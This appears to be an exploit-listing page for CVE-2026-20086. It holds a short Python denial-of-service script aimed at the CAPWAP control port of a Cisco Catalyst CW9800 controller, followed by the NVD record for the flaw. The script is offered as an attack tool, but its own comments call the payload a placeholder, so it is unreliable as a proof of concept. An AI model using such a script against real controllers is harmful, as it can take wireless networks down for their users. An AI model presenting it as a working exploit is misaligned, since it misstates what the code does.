CVE-2026-20086

import socket # Target Configuration # Replace with the actual IP of the vulnerable Catalyst CW9800 device target_ip = "192.168.1.100" # CAPWAP typically uses UDP port 5246 for control and 5247 for data target_port = 5246 def send_malformed_capwap(): try: # Create a UDP socket sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Construct a malformed CAPWAP packet # A valid CAPWAP header starts with a specific magic number (e.g., 0x00 for discovery) # Here we send a packet that violates the protocol structure to trigger the parsing bug. # Example: Sending a packet with a incorrect length or invalid header flags. # This payload is a placeholder for the specific malformed structure required. malformed_payload = b"\x00\x00\x00\x00" + b"\x41" * 100 print(f"[*] Sending malformed packet to {target_ip}:{target_port}...") # Send the payload sock.sendto(malformed_payload, (target_ip, target_port)) print("[+] Packet sent. Check device status for DoS condition.") except Exception as e: print(f"[-] An error occurred: {e}") finally: sock.close() if __name__ == "__main__": send_malformed_capwap()

{"cve": {"id": "CVE-2026-20086", "sourceIdentifier": "[email protected]", "published": "2026-03-25T16:16:13.920", "lastModified": "2026-03-26T15:13:33.940", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the processing of Control and Provisioning of Wireless Access Points (CAPWAP) packets of Cisco IOS XE Wireless Controller Software for the Catalyst CW9800 Family could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device.\r\n\r This vulnerability is due to improper handling of a malformed CAPWAP packet. An attacker could exploit this vulnerability by sending a malformed CAPWAP packet to an affected device. A successful exploit could allow the attacker to cause the affected device to reload unexpectedly, resulting in a DoS condition."}, {"lang": "es", "value": "Una vulnerabilidad en el procesamiento de paquetes de Control y Aprovisionamiento de Puntos de Acceso Inalámbricos (CAPWAP) de Cisco IOS XE Wireless Controller Software para la familia Catalyst CW9800 podría permitir a un atacante remoto no autenticado causar una condición de denegación de servicio (DoS) en un dispositivo afectado. Esta vulnerabilidad se debe a un manejo inadecuado de un paquete CAPWAP malformado. Un atacante podría explotar esta vulnerabilidad enviando un paquete CAPWAP malformado a un dispositivo afectado. Un exploit exitoso podría permitir al atacante causar que el dispositivo afectado se reinicie inesperadamente, lo que resultaría en una condición de DoS."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-230"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-wlc-dos-hnX5KGOm", "source": "[email protected]"}]}}